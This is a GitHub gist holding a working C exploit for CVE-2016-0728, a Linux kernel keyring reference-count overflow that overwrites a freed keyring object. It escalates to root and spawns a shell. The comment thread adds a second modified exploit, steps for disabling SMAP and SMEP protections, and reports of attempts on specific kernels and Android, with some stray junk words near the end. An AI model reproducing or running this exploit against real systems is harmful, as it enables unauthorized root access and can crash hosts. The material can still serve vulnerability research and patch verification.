Skip to content

Instantly share code, notes, and snippets.

@PerceptionPointTeam
Last active February 20, 2024 19:43
Show Gist options
  • Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
cve_2016_0728 exploit
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
@tfroidcoeur
Copy link

I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114

so the refcount ends at 2 after wrapping around?

@snorez
Copy link

snorez commented Jan 28, 2016

It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.
cve-2016-0728 5days 00
cve-2016-0728 5days 01
then the vm freeze.

when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,

@itmox
Copy link

itmox commented Jan 28, 2016

@mah0ne, could you provide your changed code?

@snorez
Copy link

snorez commented Jan 28, 2016

@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,


#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;

struct key_type {
    const char *name;
    size_t def_datalen;
    void *vet_desc;
    void *preparse;
    void *free_preparse;
    void *instantiate;
    void *update;
    void *match_preparse;
    void *match_free;
    void *revoke;
    void *destroy;
};

/* key_revoke(struct key *key) */
void exploit(void *key)
{
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <key>", argv[0]);
        return -1;
    }

    int pid;
    size_t i = 0;
    unsigned long l = 0x100000000/2;
    key_serial_t serial = -1;

    /* prepare key_type structure */
    struct key_type *m_key = malloc(sizeof(struct key_type));
    m_key->revoke = (void *)exploit;

    /* set msg_msg structure, is 0xb8 size */
    int msgid;
    struct msg_tail {
        long mtype;
        char mtext[0xb8-0x30];
    } msgp = {0x4141414141414141, {0}};

    memset(msgp.mtext, 'A', sizeof(msgp.mtext));
    *(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
    *(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
    *(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
    *(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
    if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("[-] msgget");
        return -1;
    }

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
           KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    fprintf(stderr, "[+] increfs...\n");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffffUL - l)) {
            sleep(5);
            l = l/2;
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);

    for (i = 0; i < 3; i++) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    fprintf(stderr, "[+] finish increfs\n");
    sleep(9);

    fprintf(stderr, "[+] fork...\n");
    for (i = 0; i < 64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("[-] fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msgid = msgget(IPC_PRIVATE, 0644 |
                        IPC_CREAT)) == -1) {
                perror("[-] msgget");
                exit(1);
            }
            for (i = 0; i < 256; i++) {
                if (msgsnd(msgid, &msgp,
                       sizeof(msgp.mtext), 0) == -1) {
                    perror("[-] msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }

    fprintf(stderr, "exploit...\n");
    sleep(5);
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
        perror("[+] keyctl_revoke");

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;

@itmox
Copy link

itmox commented Jan 28, 2016

@mah0ne how did you deactivate smap and smep? Thanks.

@snorez
Copy link

snorez commented Jan 29, 2016

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)

@vnavin4
Copy link

vnavin4 commented Feb 10, 2016

Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64

[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$

@gqbnm0
Copy link

gqbnm0 commented Feb 11, 2016

Is it safe to run this PoC in production environment for checking if the patch has been applied?

no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:

  • on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
  • on CentOS 7 with kernel 3.10, it caused a reboot.

@niubl
Copy link

niubl commented Feb 17, 2016

  • filehelper_1455702738105_91

i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

@idlefire
Copy link

Deletion keyutils.h, who can give me a document.
thank you..

@dpproduction
Copy link

dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...

[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$

Whats wrong ?

@dpproduction
Copy link

So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$

@MatanTubul
Copy link

i got the following error in android 7.1.1 in nexus6p:

"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"

@MatanTubul
Copy link

@bactis can you please publish your final exploit including the make file?

@MatanTubul
Copy link

MatanTubul commented Dec 29, 2016

@bactis
i attached here my make file and android.mk.
currently i get the following error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2




@MatanTubul
Copy link

MatanTubul commented Dec 29, 2016

@bactis
i attached here the android.mk and make file.
currently this is the error i get:

make
mk_file

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2





@ofnothinghere
Copy link

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
memes

wallpaper
i use @mah0ne 's kernel number and success to exploit.
gif

quotes
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment